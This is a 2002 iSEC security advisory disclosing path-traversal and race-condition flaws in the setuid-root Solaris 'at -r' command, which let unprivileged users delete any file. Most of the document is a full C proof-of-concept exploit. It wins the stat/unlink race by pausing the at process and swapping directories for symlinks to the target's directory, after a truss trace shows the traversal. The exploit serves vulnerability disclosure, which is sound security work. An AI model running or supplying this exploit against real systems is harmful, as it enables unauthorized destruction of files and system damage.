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Synopsis:  at -r job name handling and race condition vulnerabilities
Product:  Sun Microsystems Solaris
Version:   all

URL:    https://isec.pl/vulnerabilities/isec-0008-sun-at.txt
Author:    Wojciech Purczynski <cliph@isec.pl>
Date:    November 1, 2002
Update:    January 27, 2003


Issue:
======

Race condition and argument handling vulnerabilities in the setuid-root 
/usr/bin/at binary allows to remove any file on the filesystem.


Details:
========

At utility reads commands from standard input and groups them together
as an at-job, to be executed at a later time.

Each at-job is kept in separate file in at spool directory. At jobs my
be removed if -r option is used with a job-id parameter to the at
command.

However, there are two vulnerabilities within the code that removes
at-job from at spool directory.

At utility does not properly handle job ids specified as a parameter to
the -r option. It allows to remove jobs outside of at's spool directory
if relative path name is used. Only absolute path names are filtered
out.

At verifies ownership of the file and limits the user to remove only its
own at-jobs. Unfortunatelly, a race condition occurs after at stats the
file and before the file is unlinked. By altering directory structure
between these two system calls, at may be fooled to remove file other
than it expects.

Since this code is executed with full root privileges, these two
vulnerabilities may allow unprivileged users to remove any files on the
filesystem.

Below is an example of truss output that uncovers the vulnerability:

bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
[...]
chdir("/var/spool/cron/atjobs")                 = 0
stat64("../../../../tmp/foo", 0xFFBEF360)       = 0
[...]
unlink("../../../../tmp/foo")                   = 0
[...]


Exploit:
========

Below is attached a working proof-of-concept exploit. It should succeed
after few trials (single dot is printed on each trial):

- ------8<------isec-solaris-at-rm------8<------
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define maxjobs 256
#define tmpdir  "/tmp"
#define at  "/usr/bin/at"

char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];

void cleandirs(void);

void err(char * msg)
{
  if (errno) {
    int error = errno;
    perror(msg);
    cleandirs();
    errno = error;
    exit(errno);
  }
}

void gohome(void)
{
  char * home;

  home = getenv("HOME");
  if (!home) {
    errno = EINVAL;
    err("getenv(\"HOME\")");
  }
  if (chdir(home) < 0)
    err("chdir($HOME)");
}

void cleandirs(void)
{
  int no;
  char * tmp;

  for (no = 0; no < maxjobs; no++) {
    char path[MAXPATHLEN+1];
    snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
    path[MAXPATHLEN] = '\0';
    unlink(path);
    snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
    path[MAXPATHLEN] = '\0';
    unlink(path);
    rmdir(path);
  }
}

void createdirs(char ** argv)
{
  int no;

  for(no = 0; no < maxjobs; no++) {
    char path[MAXPATHLEN+1];
    int fd;

    snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
    path[MAXPATHLEN] = '\0';

    unlink(path);
    if (mkdir(path, 0755) < 0 && errno != EEXIST)
      err("Unable to create directory");

    snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
    path[MAXPATHLEN] = '\0';

    fd = open(path, O_CREAT|O_RDONLY, 0755);
    if (fd < 0 && errno != EEXIST)
      err("Unable to create file");
    close(fd); /* empty file is just fine */

    argv[no] = strdup(path);
    if (!argv[no])
      err("Unable to allocate memory");
  }
  argv[no] = NULL;
}

pid_t spawnat(char ** argv)
{
  int no, fd;
  pid_t child;

  child = fork();
  if (child < 0)
    err("Unable to fork");

  if (child)
    return child;

  /* child process */

  if (nice(19) < 0)
    err("Unable to change priority");

  fd = open("/dev/null", O_RDWR);
  if (fd < 0)
    err("Unable to open /dev/null");

  if (dup2(fd, STDIN_FILENO) < 0 ||
      dup2(fd, STDOUT_FILENO) < 0 ||
      dup2(fd, STDERR_FILENO) < 0)
    err("Unable to dup /dev/null");

  if (fd > STDERR_FILENO)
    close(fd);
  
  execv(argv[0], argv);
  err("Unable to execute at binary");
}

int doit(char * target)
{
  int no = 0;
  char path[MAXPATHLEN+1];
  char * argv[maxjobs + 3];
  pid_t child;
  uid_t uid = getuid();
  int result = -1;

  argv[0] = at;
  argv[1] = "-r";
  createdirs(argv+2);
  child = spawnat(argv);

  while (no < maxjobs) {
    struct stat st;

    /* check if previous attempt succeeded */
    if (stat(target, &st) < 0) {
      if (errno == ENOENT) {
        result = 0;
        break;
      } else 
        err("Unable to stat target file");
    }

    /* wait until file is deleted */
    snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
    path[MAXPATHLEN] = '\0';
    while (stat(path, &st) == 0) ;

    if (errno != ENOENT)
      err("Unable to stat temporary file");

    /* stop the child to exploit race condition */
    if (kill(child, SIGSTOP) < 0)
      break;

    /* find first file that hasn't been removed yet */
    while (++no < maxjobs) {
      snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
      path[MAXPATHLEN] = '\0';
      if (stat(path, &st) == 0)
        break;
      if (errno != ENOENT)
        err("Unable to stat temporary file");
    }
    
    /* all jobs removed - too late */
    if (no == maxjobs) {
      kill(child, SIGCONT);
      break;
    }

    if (unlink(path) < 0)
      err("Unable to remove temporary file");
    
    *strrchr(path, '/') = '\0';
  
    if (rmdir(path) < 0)
      err("Unable to remove temporary directory");
    
    if (symlink(targetdir, path) < 0)
      err("Unable to create symlink");

    if (kill(child, SIGCONT) < 0)
      err("Unable to continue child process");

    no++;
  }

  /* avoid zombie processes */
  waitpid(child, NULL, 0);
  for (no = 0; no < maxjobs; no ++)
    free(argv + no + 2);
  return result;
}

int main(int argc, char * argv[])
{
  char * tmp;

  fprintf(stderr, 
"
/usr/bin/at -r race condition exploit

Remove any file on the filesystem.

Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research https://isec.pl/

");

  gohome();

  errno = EINVAL;
  if (argc < 2)
    err("Required parameter missing");
  if (argv[1][0] != '/')
    err("Absolute path required");

  strncpy(target, argv[1], MAXPATHLEN);
  target[MAXPATHLEN] = '\0';
  tmp = strrchr(argv[1], '/');
  *tmp = '\0';
  if (tmp == argv[1])
    strcpy(targetdir, "/");
  else {
    strncpy(targetdir, argv[1], MAXPATHLEN);
    targetdir[MAXPATHLEN] = '\0';
  }
  strncpy(targetfile, tmp+1, MAXPATHLEN);
  targetfile[MAXPATHLEN] = '\0';

  while (doit(target))
    fprintf(stderr, "."); /* przygarnij kropka */
  fprintf(stderr, "Success!\n");
  cleandirs();
  return 0;
}
- ------8<------isec-solaris-at-rm------8<------


- -- 
Wojciech Purczynski
iSEC Security Research
https://isec.pl/

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